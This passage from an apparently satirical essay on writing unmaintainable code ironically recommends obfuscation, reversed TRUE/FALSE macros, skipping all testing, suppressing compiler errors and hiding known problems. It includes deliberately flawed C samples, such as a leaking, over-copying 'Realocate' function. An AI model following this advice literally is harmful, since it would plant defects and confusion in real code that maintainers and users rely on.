finding these methods in the general system code like looking for a guitar
pick in a landfill.

#### Subclass With Abandon

Object oriented programming is a godsend for writing unmaintainable code. If
you have a class with 10 properties \(member/method\) in it, consider a base
class with only one property and subclassing it 9 levels deep so that each
descendant adds one property. By the time you get to the last descendant
class, you'll have all 10 properties. If possible, put each class declaration
in a separate file. This has the added effect of bloating your INCLUDE or USES
statements, and forces the maintainer to open that many more files in his or
her editor. Make sure you create at least one instance of each subclass.

## Coding Obfuscation

> _Sedulously eschew obfuscatory hyperverbosity and prolixity._

#### Obfuscated C

Follow the obfuscated C contests on the Internet and sit at the lotus feet of
the masters.

#### Find a Forth or APL Guru

In those worlds, the terser your code and the more bizarre the way it works,
the more you are revered.

#### I'll Take a Dozen

Never use one housekeeping variable when you could just as easily use two or
three.

#### Jude the Obscure

Always look for the most obscure way to do common tasks. For example, instead
of using arrays to convert an integer to the corresponding string, use code
like this:

char \*p;  
switch \(n\)  
\{  
case 1:  
p = "one";  
if \(0\)  
case 2:  
p = "two";  
if \(0\)  
case 3:  
p = "three";  
printf\("%s", p\);  
break;  
\}

#### Foolish Consistency Is the Hobgoblin of Little Minds

When you need a character constant, use many different formats ' ', 32, 0x20,
040. Make liberal use of the fact that 10 and 010 are not the same number in C
or Java.

#### Casting

Pass all data as a void \* and then typecast to the appropriate structure.
Using byte offsets into the data instead of structure casting is fun too.

#### The Nested Switch

\(a switch within a switch\) is the most difficult type of nesting for the
human mind to unravel.

#### Exploit Implicit Conversion

Memorize all of the subtle implicit conversion rules in the programming
language. Take full advantage of them. Never use a picture variable \(in COBOL
or PL/I\) or a general conversion routine \(such as sprintf in C\). Be sure to
use floating-point variables as indexes into arrays, characters as loop
counters, and perform string functions on numbers. After all, all of these
operations are well-defined and will only add to the terseness of your source
code. Any maintainer who tries to understand them will be very grateful to you
because they will have to read and learn the entire chapter on implicit data
type conversion; a chapter that they probably had completely overlooked before
working on your programs.

#### Raw ints

When using ComboBoxes, use a switch statement with integer cases rather than
named constants for the possible values.

#### Semicolons\!

Always use semicolons whenever they are syntactically allowed. For example:

if\(a\);  
else;

\{  
int **d** ;  
d **=** c;  
\}  
;

#### Use Octal

Smuggle octal literals into a list of decimal numbers like this:

array **=** new int **\[****\]**

\{  
111**,**  
120**,**  
013**,**  
121**,**  
\};

#### Convert Indirectly

Java offers great opportunity for obfuscation whenever you have to convert. As
a simple example, if you have to convert a double to a String, go
circuitously, via Double with new Double\(d\).toString\(\) rather than the
more direct Double.toString\(d\). You can, of course, be far more circuitous
than that\! Avoid any conversion techniques recommended by the Conversion
Amanuensis. You get bonus points for every extra temporary object you leave
littering the heap after your conversion.

#### Nesting

Nest as deeply as you can. Good coders can get up to 10 levels of \( \) on a
single line and 20 \{ \} in a single method. C++ coders have the additional
powerful option of preprocessor nesting totally independent of the nest
structure of the underlying code. You earn extra Brownie points whenever the
beginning and end of a block appear on separate pages in a printed listing.
Wherever possible, convert nested ifs into nested \[? \] ternaries. If they
span several lines, so much the better.

#### Numeric Literals

If you have an array with 100 elements in it, hard code the literal 100 in as
many places in the program as possible. Never use a static final named
constant for the 100, or refer to it as myArray.length. To make changing this
constant even more difficult, use the literal 50 instead of 100/2, or 99
instead of 100-1. You can futher disguise the 100 by checking for a == 101
instead of a > 100 or a > 99 instead of a >= 100.

Consider things like page sizes, where the lines consisting of x header, y
body, and z footer lines, you can apply the obfuscations independently to each
of these **and** to their partial or total sums.

These time-honoured techniques are especially effective in a program with two
unrelated arrays that just accidentally happen to both have 100 elements. If
the maintenance programmer has to change the length of one of them, he will
have to decipher every use of the literal 100 in the program to determine
which array it applies to. He is almost sure to make at least one error,
hopefully one that won't show up for years later.

There are even more fiendish variants. To lull the maintenance programmer into
a false sense of security, dutifully create the named constant, but very
occasionally _" accidentally"_ use the literal 100 value instead of the named
constant. Most fiendish of all, in place of the literal 100 or the correct
named constant, sporadically use some other unrelated named constant that just
accidentally happens to have the value 100, for now. It almost goes without
saying that you should avoid any consistent naming scheme that would associate
an array name with its size constant.

#### C's Eccentric View Of Arrays

C compilers transform myArray\[i\] into \*\(myArray \+ i\), which is
equivalent to \*\(i + myArray\) which is equivalent to i\[myArray\]. Experts
know to put this to good use. To really disguise things, generate the index
with a function:

int myfunc\(int q, int p\) \{ return p%q; \}  
...  
myfunc\(6291, 8\)\[Array\];

Unfortunately, these techniques can only be used in native C classes, not
Java.

#### L o n g L i n e s

Try to pack as much as possible into a single line. This saves the overhead of
temporary variables, and makes source files shorter by eliminating new line
characters and white space. Tipremove all white space around operators. Good
programmers can often hit the 255 character line length limit imposed by some
editors. The bonus of long lines is that programmers who cannot read 6 point
type must scroll to view them.

#### Exceptions

I am going to let you in on a little-known coding secret. Exceptions are a
pain in the behind. Properly-written code never fails, so exceptions are
actually unnecessary. Don't waste time on them. Subclassing exceptions is for
incompetents who know their code will fail. You can greatly simplify your
program by having only a single try/catch in the entire application \(in
main\) that calls System.exit\(\). Just stick a perfectly standard set of
throws on every method header whether they could actually throw any exceptions
or not.

#### When To Use Exceptions

Use exceptions for non-exceptional conditions. Routinely terminate loops with
an ArrayIndexOutOfBoundsException. Pass return standard results from a method
in an exception.

#### Use threads With Abandon

title says it all.

#### Lawyer Code

Follow the language lawyer discussions in the newsgroups about what various
bits of tricky code should do e.g. a=a++; or f\(a++,a++\); then sprinkle your
code liberally with the examples. In C, the effects of pre/post decrement code
such as

\*++b ? \(\*++b + \*\(b-1\)\) 0 are not defined by the language spec. Every
compiler is free to evaluate in a different order. This makes them doubly
deadly. Similarly, take advantage of the complex tokenising rules of C and
Java by removing all spaces.

#### Early Returns

Rigidly follow the guidelines about no goto, no early returns, and no labelled
breaks especially when you can increase the if/else nesting depth by at least
5 levels.

#### Avoid \{\}

Never put in any \{ \} surrounding your if/else blocks unless they are
syntactically obligatory. If you have a deeply nested mixture of if/else
statements and blocks, especially with misleading indentation, you can trip up
even an expert maintenance programmer. For best results with this technique,
use Perl. You can pepper the code with additional ifs _after_ the statements,
to amazing effect.

#### Tabs From Hell

Never underestimate how much havoc you can create by indenting with tabs
instead of spaces, especially when there is no corporate standard on how much
indenting a tab represents. Embed tabs inside string literals, or use a tool
to convert spaces to tabs that will do that for you.

#### Magic Matrix Locations

Use special values in certain matrix locations as flags. A good choice is the
\[3\]\[0\] element in a transformation matrix used with a homogeneous
coordinate system.

#### Magic Array Slots revisited

If you need several variables of a given type, just define an array of them,
then access them by number. Pick a numbering convention that only you know and
don't document it. And don't bother to define \#define constants for the
indexes. Everybody should just know that the global variable widget\[15\] is
the cancel button. This is just an up-to-date variant on using absolute
numerical addresses in assembler code.

#### Never Beautify

Never use an automated source code tidier \(beautifier\) to keep your code
aligned. Lobby to have them banned them from your company on the grounds they
create false deltas in PVCS/CVS \(version control tracking\) or that every
programmer should have his own indenting style held forever sacrosanct for any
module he wrote. Insist that other programmers observe those idiosyncratic
conventions in "his " modules. Banning beautifiers is quite easy, even though
they save the millions of keystrokes doing manual alignment and days wasted
misinterpreting poorly aligned code. Just insist that everyone use the
**same** tidied format, not just for storing in the common repository, but
also while they are editing. This starts an RWAR and the boss, to keep the
peace, will ban automated tidying. Without automated tidying, you are now free
to _accidentally_ misalign the code to give the optical illusion that bodies
of loops and ifs are longer or shorter than they really are, or that else
clauses match a different if than they really do. e.g.

[code]

    if(a)
      if(b) x=y;
    else x=z;
[/code]

#### The Macro Preprocessor

It offers great opportunities for obfuscation. The key technique is to nest
macro expansions several layers deep so that you have to discover all the
various parts in many different \*.hpp files. Placing executable code into
macros then including those macros in every \*.cpp file \(even those that
never use those macros\) will maximize the amount of recompilation necessary
if ever that code changes.

#### Exploit Schizophrenia

Java is schizophrenic about array declarations. You can do them the old C, way
String x\[\], \(which uses mixed pre-postfix notation\) or the new way
String\[\] x, which uses pure prefix notation. If you want to really confuse
people, mix the notationse.g.

byte**\[** **\]** rowvector**,** colvector **,** matrix**\[** **\]** ; which
is equivalent to:

byte**\[** **\]** rowvector;  
byte**\[** **\]** colvector;  
byte**\[** **\]****\[****\]** matrix;

#### Hide Error Recovery Code

Use nesting to put the error recovery for a function call as far as possible
away from the call. This simple example can be elaborated to 10 or 12 levels
of nest:

if \( function\_A**\(****\)** **=****=** OK \)

\{  
if \( function\_B**\(****\)** **=****=** OK \)

\{  
/\* Normal completion stuff \*/  
\} else

\{  
/\* some error recovery for Function\_B \*/  
\} \} else

\{  
/\* some error recovery for Function\_A \*/  
\}

#### Pseudo C

The real reason for \#define was to help programmers who are familiar with
another programming language to switch to C. Maybe you will find declarations
like \#define begin \{ " or " \#define end \}  useful to write more
interesting code.

#### Confounding Imports

Keep the maintenance programmer guessing about what packages the methods you
are using are in. Instead of:

import MyPackage**.** Read;  
import MyPackage**.** Write; use:

import Mypackage**.** **\*** ; Never fully qualify any method or class no
matter how obscure. Let the maintenance programmer guess which of the
packages/classes it belongs to. Of course, inconsistency in when you fully
qualify and how you do your imports helps most.

#### Toilet Tubing

Never under any circumstances allow the code from more than one function or
procedure to appear on the screen at once. To achieve this with short
routines, use the following handy tricks:

Blank lines are generally used to separate logical blocks of code. Each line
is a logical block in and of itself. Put blank lines between each line.

Never comment your code at the end of a line. Put it on the line above. If
you're forced to comment at the end of the line, pick the longest line of code
in the entire file, add 10 spaces, and left-align all end-of-line comments to
that column.

Comments at the top of procedures should use templates that are at least 15
lines long and make liberal use of blank lines. Here's a handy template:  
/\*  
/\* Procedure Name:  
/\*  
/\* Original procedure name:  
/\*  
/\* Author:  
/\*  
/\* Date of creation:  
/\*  
/\* Dates of modification:  
/\*  
/\* Modification authors:  
/\*  
/\* Original file name:  
/\*  
/\* Purpose:  
/\*  
/\* Intent:  
/\*  
/\* Designation:  
/\*  
/\* Classes used:  
/\*  
/\* Constants:  
/\*  
/\* Local variables:  
/\*  
/\* Parameters:  
/\*  
/\* Date of creation:  
/\*  
/\* Purpose:  
\*/

The technique of putting so much redundant information in documentation almost
guarantees it will soon go out of date, and will help befuddle maintenance
programmers foolish enough to trust it.

## Testing

> __
> _I don't need to test my programs. I have an error-correcting modem._  
>  \- Om I. Baud
Leaving bugs in your programs gives the maintenance programmer who comes along
later something interesting to do. A well done bug should leave absolutely no
clue as to when it was introduced or where. The laziest way to accomplish this
is simply never to test your code.

#### Never Test

Never test any code that handles the error cases, machine crashes, or OS
glitches. Never check return codes from the OS. That code never gets executed
anyway and slows down your test times. Besides, how can you possibly test your
code to handle disk errors, file read errors, OS crashes, and all those sorts
of events? Why, you would have to either an incredibly unreliable computer or
a test scaffold that mimicked such a thing. Modern hardware never fails, and
who wants to write code just for testing purposes? It isn't any fun. If users
complain, just blame the OS or hardware. They'll never know.

#### Never, Ever Do Any Performance Testing

Hey, if it isn't fast enough, just tell the customer to buy a faster machine.
If you did do performance testing, you might find a bottleneck, which might
lead to algorithm changes, which might lead to a complete redesign of your
product. Who wants that? Besides, performance problems that crop up at the
customer site mean a free trip for you to some exotic location. Just keep your
shots up-to-date and your passport handy.

#### Never Write Any Test Cases

Never perform code coverage or path coverage testing. Automated testing is for
wimps. Figure out which features account for 90% of the uses of your routines,
and allocate 90% of the tests to those paths. After all, this technique
probably tests only about 60% of your source code, and you have just saved
yourself 40% of the test effort. This can help you make up the schedule on the
back-end of the project. You'll be long gone by the time anyone notices that
all those nice "marketing features" don't work. The big, famous software
companies test code this way; so should you. And if for some reason, you are
still around, see the next item.

#### Testing is for cowards

A brave coder will bypass that step. Too many programmers are afraid of their
boss, afraid of losing their job, afraid of customer hate mail and afraid of
being sued. This fear paralyzes action, and reduces productivity. Studies have
shown that eliminating the test phase means that managers can set ship dates
well in advance, an obvious aid in the planning process. With fear gone,
innovation and experimentation can blossom. The role of the programmer is to
produce code, and debugging can be done by a cooperative effort on the part of
the help desk and the legacy maintenance group.

If we have full confidence in our coding ability, then testing will be
unnecessary. If we look at this logically, then any fool can recognise that
testing does not even attempt to solve a technical problem, rather, this is a
problem of emotional confidence. A more efficient solution to this lack of
confidence issue is to eliminate testing completely and send our programmers
to self-esteem courses. After all, if we choose to do testing, then we have to
test every program change, but we only need to send the programmers to one
course on building self-esteem. The cost benefit is as amazing as it is
obvious.

#### Ensuring It Only Works In Debug Mode

If you've defined TESTING as 1

\#define TESTING 1 this gives you the wonderful opportunity to have separate
code sections, such as

\#if TESTING==1  
\#endif which can contain such indispensable tidbits as

x = rt\_val; so that if anyone resets TESTING to 0, the program won't work.
And with the tiniest bit of imaginative work, it will not only befuddle the
logic, but confound the compiler as well.

## Choice Of Language

> _Philosophy is a battle against the bewitchment of our intelligence by means
> of language._  
>  \- Ludwig Wittgenstein
Computer languages are gradually evolving to become more fool proof. Using
state of the art languages is unmanly. Insist on using the oldest language you
can get away with, octal machine language if you can \(Like Hans und Frans, I
am no girlie man; I am so virile I used to code by plugging gold tipped wires
into a plugboard of IBM unit record equipment \(punch cards\), or by poking
holes in paper tape with a hand punch\), failing that assembler, failing that
FORTRAN or COBOL, failing that C, and BASIC, failing that C++.

#### FØRTRAN

Write all your code in FORTRAN. If your boss ask why, you can reply that there
are lots of very useful libraries that you can use thus saving time. However
the chances of writing maintainable code in FORTRAN are zero, and therefore
following the unmaintainable coding guidelines is a lot easier.

#### Avoid Ada

About 20% of these techniques can't be used in Ada. Refuse to use Ada. If your
manager presses you, insist that no-one else uses it, and point out that it
doesn't work with your large suite of tools like lint and plummer that work
around C's failings.

#### Use ASM

Convert all common utility functions into asm.

#### Use QBASIC

Leave all important library functions written in QBASIC, then just write an
asm wrapper to handle the large->medium memory model mapping.

#### Inline Assembler

Sprinkle your code with bits of inline assembler just for fun. Almost no one
understands assembler anymore. Even a few lines of it can stop a maintenance
programmer cold.

#### MASM call C

If you have assembler modules which are called from C, try to call C back from
the assembler as often as possible, even if it's only for a trivial purpose
and make sure you make full use of the goto, bcc and other charming
obfuscations of assembler.

#### Avoid Maintainability Tools

Avoid coding in Abundance, or using any of its principles kludged into other
languages. It was **_designed_** from the ground up with the primary goal of
making the maintenance programmer's job easier. Similarly avoid Eiffel or Ada
since they were designed to catch bugs before a program goes into production.

## Dealing With Others

> __
> __Hell is other people._ _  
> \- Jean-Paul Sartre, No Exit, 1934
There are many hints sprinkled thoroughout the tips above on how to rattle
maintenance programmers though frustration, and how to foil your boss's
attempts to stop you from writing unmaintainable code, or even how to foment
an RWAR that involves everyone on the topic of how code should be formatted in
the repository.

#### Your Boss Knows Best

If your boss thinks that his or her 20 year old FORTRAN experience is an
excellent guide to contemporary programming, rigidly follow all his or her
recommendations. As a result, the boss will trust you. That may help you in
your career. You will learn many new methods to obfuscate program code.

#### Subvert The Help Desk

One way to help ensure the code is full of bugs is to ensure the maintenance
programmers never hear about them. This requires subverting the help desk.
Never answer the phone. Use an automated voice that says "thank you for
calling the helpline. To reach a real person press "1" or leave a voice mail
wait for the tone". Email help requests should be ignored other than to assign
them a tracking number. The standard response to any problem is " I think your
account is locked out. The person able to authorise reinstatement is not
available just now."

#### Keep Your Mouth Shut

Be never vigilant of the next Y2K. If you ever spot something that could sneak
up on a fixed deadline and destroy all life in the western hemisphere then
**do not** openly discuss it until we are under the critical 4 year event
window of panic and opportunity. Do not tell friends, coworkers, or other
competent people of your discovery. Under no circumstances attempt to publish
anything that might hint at this new and tremendously profitable threat. Do
send one normal priority, jargon encrypted, memo to upper management to cover-
your-a$$. If at all possible attach the jargon encrypted information as a
rider on an otherwise unrelated plain-text memo pertaining to a more
immediately pressing business concern. Rest assured that we all see the threat
too. Sleep sound at night knowing that long after you've been forced into
early retirement you will be begged to come back at a logarithmically
increased hourly rate\!

#### Baffle 'Em With Bullshit

Subtlety is a wonderful thing, although sometimes a sledge-hammer is more
subtle than other tools. So, a refinement on misleading comments create
classes with names like FooFactory containing comments with references to the
GoF creational patterns \(ideally with http links to bogus UML design
documents\) that have nothing to do with object creation. Play off the
maintainer's delusions of competence. More subtly, create Java classes with
protected constructors and methods like Foo f = Foo.newInstance\(\)that return
actual **new instances** , rather than the expected singleton. The
opportunities for side-effects are endless.

#### Book Of The Month Club

Join a computer book of the month club. Select authors who appear to be too
busy writing books to have had any time to actually write any code themselves.
Browse the local bookstore for titles with lots of cloud diagrams in them and
no coding examples. Skim these books to learn obscure pedantic words you can
use to intimidate the whippersnappers that come after you. Your code should
impress. If people can't understand your vocabulary, they must assume that you
are very intelligent and that your algorithms are very deep. Avoid any sort of
homely analogies in your algorithm explanations.

## Roll Your Own

You've always wanted to write system level code. Now is your chance. Ignore
the standard libraries and write your own. It will look great on your resumé.

#### Roll Your Own BNF

Always document your command syntax with your own, unique, undocumented brand
of BNF notation. Never explain the syntax by providing a suite of annotated
sample valid and invalid commands. That would demonstrate a complete lack of
academic rigour. Railway diagrams are almost as gauche. Make sure there is no
obvious way of telling a terminal symbol \(something you would actually type\)
from an intermediate one -- something that represents a phrase in the syntax.
Never use typeface, colour, caps, or any other visual clues to help the reader
distinguish the two. Use the exact same punctuation glyphs in your BNF
notation that you use in the command language itself, so the reader can never
tell if a \(...\), \[...\], \{...\} or "..." is something you actually type as
part of the command, or is intended to give clues about which syntax elements
are obligatory, repeatable or optional in your BNF notation. After all, if
they are too stupid to figure out your variant of BNF, they have no business
using your program.

#### Roll Your Own Allocator

Everyone knows that debugging your dynamic storage is complicated and time
consuming. Instead of making sure each class has no storage leaks, reinvent
your own storage allocator. It just mallocs space out of a big arena. Instead
of freeing storage, force your users to periodically perform a system reset
that clears the heap. There's only a few things the system needs to keep track
of across resets -- lots easier than plugging all the storage leaks; and so
long as the users remember to periodically reset the system, they'll never run
out of heap space. Imagine them trying to change this strategy once deployed\!

## Tricks In Offbeat Languages

> _Programming in Basic causes brain damage._  
>  \- Edsger Wybe Dijkstra

#### SQL Aliasing

Alias table names to one or two letters. Better still alias them to the names
of other unrelated existing tables.

#### SQL Outer Join

Mix the various flavours of outer join syntax just to keep everyone on their
toes.

#### JavaScript Scope

"Optimise" JavaScript code taking advantage of the fact a function can access
all local variables in the scope of the caller.

#### Visual Basic Declarations

Instead of:

dim Count\_num as string  
dim Color\_var as string  
dim counter as integer use:

Dim Count\_num$, Color\_var$, counter%

#### Visual Basic Madness

If reading from a text file, read 15 characters more than you need to then
embed the actual text string like so:

ReadChars = .ReadChars \(29,0\)  
ReadChar =
trim\(left\(mid\(ReadChar,len\(ReadChar\)-15,len\(ReadChar\)-5\),7\)\)  
If ReadChars = "alongsentancewithoutanyspaces"  
Mid,14,24 = "withoutanys"  
and left,5 = "without"

#### Delphi/Pascal Only

Don't use functions and procedures. Use the label/goto statements then jump
around a lot inside your code using this. It'll drive 'em mad trying to trace
through this. Another idea, is just to use this for the hang of it and
scramble your code up jumping to and fro in some haphazard fashion.

#### Perl

Use trailing if's and unless's especially at the end of really long lines.

#### Lisp

LISP is a dream language for the writer of unmaintainable code. Consider these
baffling fragments:

\(lambda \(\*<8-\]= \*<8-\[= \) \(or \*<8-\]= \*<8-\[= \)\)

\(defun :-\] \(<\) \(= < 2\)\)

\(defun \!\(\!\)\(if\(and\(funcall\(lambda\(\!\)\(if\(and '\(< 0\)\(< \!
2\)\)1 nil\)\)\(1+ \!\)\)  
\(not\(null '\(lambda\(\!\)\(if\(< 1 \!\)t nil\)\)\)\)\)1\(\* \!\(\!\(1-
\!\)\)\)\)\)

  * #### Visual Foxpro 
This one is specific to Visual Foxpro. A variable is undefined and can't be
used unless you assign a value to it. This is what happens when you check a
variable's type:  lcx = TYPE\('somevariable'\)

The value of lcx will be 'U' or undefined. BUT if you assign scope to the
variable it sort of defines it and makes it a logical FALSE. Neat, huh\!?

LOCAL lcx  
lcx = TYPE\('somevariable'\) The value of lcx is now 'L' or logical. It is
further defined the value of FALSE. Just imagine the power of this in writing
unmaintainable code.

LOCAL lc\_one, lc\_two, lc\_three... , lc\_n

IF lc\_one  
DO some\_incredibly\_complex\_operation\_that\_will\_neverbe\_executed WITH  
make\_sure\_to\_pass\_parameters  
ENDIF

IF lc\_two  
DO some\_incredibly\_complex\_operation\_that\_will\_neverbe\_executed WITH  
make\_sure\_to\_pass\_parameters  
ENDIF

PROCEDURE some\_incredibly\_complex\_oper....  
\* put tons of code here that will never be executed  
\* why not cut and paste your main procedure\!  
ENDIF

## Miscellaneous Techniques

> __
> _If you give someone a program, you will frustrate them for a day; if you
> teach them how to program, you will frustrate them for a lifetime._  
>  \- Anonymous
  1. #### Don't Recompile
Let's start off with probably the most fiendish technique ever devised:
Compile the code to an executable. If it works, then just make one or two
small little changes in the source code...in each module. **But don't bother
recompiling these.** You can do that later when you have more time, and when
there's time for debugging. When the hapless maintenance programmer years
later makes a change and the code no longer works, she will erroneously assume
it must be something she recently changed. You will send her off on a wild
goose chase that will keep her busy for weeks.

  2. #### Foiling Debuggers
A very simple way to confound people trying to understand your code by tracing
it with a line debugger, is to make the lines long. In particular, put the
then clause on the same line as the if. They can't place breakpoints. They
can't tell which branch of an if was taken.

  3. #### S.I. vs American Measure
In engineering work there are two ways to code. One is to convert all inputs
to S.I. \(metric\) units of measure, then do your calculations then convert
back to various civil units of measure for output. The other is to maintain
the various mixed measure systems throughout. Always choose the second. It's
the American way\!

  4. #### CANI
**C** onstant **A** nd **N** ever-ending **I** mprovement. Make "improvements"
to your code often, and force users to upgrade often - after all, no one wants
to be running an outdated version. Just because they think they're happy with
the program as it is, just think how much happier they will be after you've
"fixed" it\! Don't tell anyone what the differences between versions are
unless you are forced to - after all, why tell someone about bugs in the old
version they might never have noticed otherwise?

  5. #### About Box
The About Box should contain only the name of the program, the names of the
coders and a copyright notice written in legalese. Ideally it should link to
several megs of code that produce an entertaining animated display. However,
it should **never** contain a description of what the program is for, its
minor version number, or the date of the most recent code revision, or the
website where to get the updates, or the author's email address. This way all
the users will soon all be running on different versions, and will attempt to
install version N+2 before installing version N+1.

  6. #### Ch ch ch Changes
The more changes you can make between versions the better, you don't want
users to become bored with the same old API or user interface year after year.
Finally, if you can make this change without the users noticing, this is
better still - it will keep them on their toes, and keep them from becoming
complacent.

  7. #### Put C Prototypes In Individual Files
instead of common headers. This has the dual advantage of requiring a change
in parameter data type to be maintained in every file, **and** avoids any
chance that the compiler or linker will detect type mismatches. This will be
especially helpful when porting from 32 -> 64 bit platforms.

  8. #### No Skill Required
You don't need great skill to write unmaintainable code. Just leap in and
start coding. Keep in mind that management still measures productivity in
lines of code even if you have to delete most of it later.

  9. #### Carry Only One Hammer
Stick with what you know and travel light; if you only carry a hammer then all
problems are nails.

  10. #### Standards Schmandards
Whenever possible ignore the coding standards currently in use by thousands of
developers in your project's target language and environment. For example
insist on STL style coding standards when writing an MFC based application.

  11. #### Reverse the Usual True False Convention
Reverse the usual definitions of true and false. Sounds very obvious but it
works great. You can hide:  \#define TRUE 0  
\#define FALSE 1 somewhere deep in the code so that it is dredged up from the
bowels of the program from some file that noone ever looks at anymore. Then
force the program to do comparisons like:  if \( var == TRUE \)  if \( var \!=
FALSE \) someone is bound to "correct" the apparent redundancy, and use var
elsewhere in the usual way:  if \( var \) Another technique is to make TRUE
and FALSE have the same value, though most would consider that out and out
cheating. Using values 1 and 2 or -1 and 0 is a more subtle way to trip people
up and still look respectable. You can use this same technique in Java by
defining a static constant called TRUE. Programmers might be more suspicious
you are up to no good since there is a built-in literal true in Java.

  12. #### Third Party Libraries
Include powerful third party libraries in your project and then don't use
them. With practice you can remain completely ignorant of good tools and add
the unused tools to your resumé in your "Other Tools" section.

  13. #### Avoid Libraries
Feign ignorance of libraries that are directly included with your development
tool. If coding in Visual C++ ignore the presence of MFC or the STL and code
all character strings and arrays by hand; this helps keep your pointer skills
sharp and it automatically foils any attempts to extend the code.

  14. #### Create a Build Order
Make it so elaborate that no maintainer could ever get any of his or her fixes
to compile. Keep secret SmartJ which renders make scripts almost obsolete.
Similarly, keep secret that the javac compiler is also available as a class.
On pain of death, never reveal how easy it is to write and maintain a speedy
little custom java program to find the files and do the make that directly
invokes the sun.tools.javac.Main compile class.

  15. #### More Fun With Make
Have the makefile-generated-batch-file copy source files from multiple
directories with undocumented overrwrite rules. This permits code branching
without the need for any fancy source code control system, and stops your
successors ever finding out which version of DoUsefulWork\(\) is the one they
should edit.

  16. #### Collect Coding Standards
Find all the tips you can on writing maintainable code such as the Square Box
Suggestions and flagrantly violate them.

  17. #### IDE, Not Me\!
Put all the code in the makefileyour successors will be really impressed how
you managed to write a makefile which generates a batch file that generates
some header files and then builds the app, such that they can never tell what
effects a change will have, or be able to migrate to a modern IDE. For maximum
effect use an obsolete make tool, such as an early brain dead version of NMAKE
without the notion of dependencies.

  18. #### Bypassing Company Coding Standards
Some companies have a strict policy of no numeric literals; you must use named
constants. It is fairly easy to foil the intent of this policy. For example,
one clever C++ programmer wrote:  \#define K\_ONE 1  
\#define K\_TWO 2  
\#define K\_THOUSAND 999

  19. #### Compiler Warnings
Be sure to leave in some compiler warnings. Use the handy "-" prefix in make
to suppress the failure of the make due to any and all compiler errors. This
way, if a maintenance programmer carelessly inserts an error into your source
code, the make tool will nonetheless try to rebuild the entire package; it
might even succeed\! And any programmer who compiles your code by hand will
think that they have broken some existing code or header when all that has
really happened is that they have stumbled across your harmless warnings. They
will again be grateful to you for the enjoyment of the process that they will
have to follow to find out that the error was there all along. Extra bonus
points make sure that your program cannot possibly compile with any of the
compiler error checking diagnostics enabled. Sure, the compiler may be able to
do subscripts bounds checking, but real programmers don't use this feature,
and neither should you. Why let the compiler check for errors when you can use
your own lucrative and rewarding time to find these subtle bugs?

  * #### Combine Bug Fixes With Upgrades
Never put out a "bug fix only" release. Be sure to combine bug fixes with
database format changes, complex user interface changes, and complete rewrites
of the administration interfaces. That way, it will be so hard to upgrade that
people will get used to the bugs and start calling them features. And the
people that really want these "features" to work differently will have an
incentive to upgrade to the new versions. This will save you maintenance work
in the long run, and get you more revenue from your customers.

  * #### Change File Formats With Each Release Of Your Product
Yeah, your customers will demand upwards compatibility, so go ahead and do
that. But make sure that there is no backwards compatibility. That will
prevent customers from backing out the newer release, and coupled with a
sensible bug fix policy \(see above\), will guarantee that once on a newer
release, they will stay there. Extra bonus points Figure out how to get the
old version to not even recognise files created by the newer versions. That
way, they not only can't read them, they will deny that they are even created
by the same application\! Hint PC word processors provide a useful example of
this sophisticated behaviour.

  * #### Compensate For Bugs
Don't worry about finding the root cause of bugs in the code. Simply put in
compensating code in the higher-level routines. This is a great intellectual
exercise, akin to 3D chess, and will keep future code maintainers entertained
for hours as they try to figure out whether the problem is in the low-level
routines that generate the data or in the high-level routines that change
various cases all around. This technique is great for compilers, which are
inherently multi-pass programs. You can completely avoid fixing problems in
the early passes by simply making the later passes more complicated. With
luck, you will never have to speak to the little snot who supposedly maintains
the front-end of the compiler. Extra bonus points make sure the back-end
breaks if the front-end ever generates the correct data.

  * #### Use Spin Locks
Avoid actual synchronization primitives in favor of a variety of spin locks --
repeatedly sleep then test a \(non-volatile\) global variable until it meets
your criterion. Spin locks are much easier to use and more "general" and
"flexible " than the system objects.

  * #### Sprinkle sync code liberally
Sprinkle some system synchronization primitives in places where they are
**not** needed. I came across one critical section in a section of code where
there was no possibility of a second thread. I challenged the original
developer and he indicated that it helped document that the code was, well,
"critical\!"

  * #### Graceful Degradation
If your system includes an NT device driver, require the application to malloc
I/O buffers and lock them in memory for the duration of any transactions, and
free/unlock them after. This will result in an application that crashes NT if
prematurely terminated with that buffer locked. But nobody at the client site
likely will be able to change the device driver, so they won't have a choice.

  * #### Custom Script Language
Incorporate a scripting command language into your client/server apps that is
byte compiled at runtime.

  * #### Compiler Dependent Code
If you discover a bug in your compiler or interpreter, be sure to make that
behaviour essential for your code to work properly. After all you don't use
another compiler, and neither should anyone else\!

  * #### A Real Life Example
Here's a real life example written by a master. Let's look at all the
different techniques he packed into this single C function.  void\*
Realocate\(void\*buf, int os, int ns\)  
\{  void\*temp;  
temp = malloc\(os\);  
memcpy\(\(void\*\)temp, \(void\*\)buf, os\);  
free\(buf\);  
buf = malloc\(ns\);  
memset\(buf, 0, ns\);  
memcpy\(\(void\*\)buf, \(void\*\)temp, ns\);  
return buf;

\}

  * Reinvent simple functions which are part of the standard libraries. 
  * The word _Realocate_ is not spelled correctly. Never underestimate the power of creative spelling. 
  * Make a temporary copy of input buffer for no real reason. 
  * Cast things for no reason. memcpy\(\) takes \(void\*\), so cast our pointers even though they're already \(void\*\). Bonus for the fact that you could pass anything anyway. 
  * Never bothered to free temp. This will cause a slow memory leak, that may not show up until the program has been running for days. 
  * Copy more than necessary from the buffer just in case. This will only cause a core dump on Unix, not Windows. 
  * It should be obvious that os and ns stand for "old size" and "new size". 
  * After allocating buf, memset it to 0. Don't use calloc\(\) because somebody might rewrite the ANSI spec so that calloc\(\) fills the buffer with something other than 0. \(Never mind the fact that we're about to copy exactly the same amount of data into buf.\) 

  * #### How To Fix Unused Variable Errors
If your compiler issues "unused local variable" warnings, don't get rid of the
variable. Instead, just find a clever way to use it. My favorite is...  
i = i;

  * #### It's The Size That Counts
It almost goes without saying that the larger a function is, the better it is.
And the more jumps and GOTOs the better. That way, any change must be analysed
through many scenarios. It snarls the maintenance programmer in the
spaghettiness of it all. And if the function is truly gargantuan, it becomes
the Godzilla of the maintenance programmers, stomping them mercilessly to the
ground before they have an idea of what's happened.

  * #### A Picture is a 1000 Words; A Function is 1000 Lines
Make the body of every method as long as possible - hopefully you never write
any methods or functions with fewer than a thousand lines of code, deeply
nested, of course.

  * #### One Missing File
Make sure that one or more critical files is missing. This is best done with
includes of includes. For example, in your main module, you have  \#include
<stdcode.h>

Stdcode.h is available. But in stdcode.h, there's a reference to

\#include "a:\\\refcode.h" and refcode.h is no where to be found.

  * #### Write Everywhere, Read Nowhere
At least one variable should be set everywhere and used almost nowhere.
Unfortunately, modern compilers usually stop you from doing the reverse, read
everywhere, write nowhere, but you can still do it in C or C++.

## Philosophy

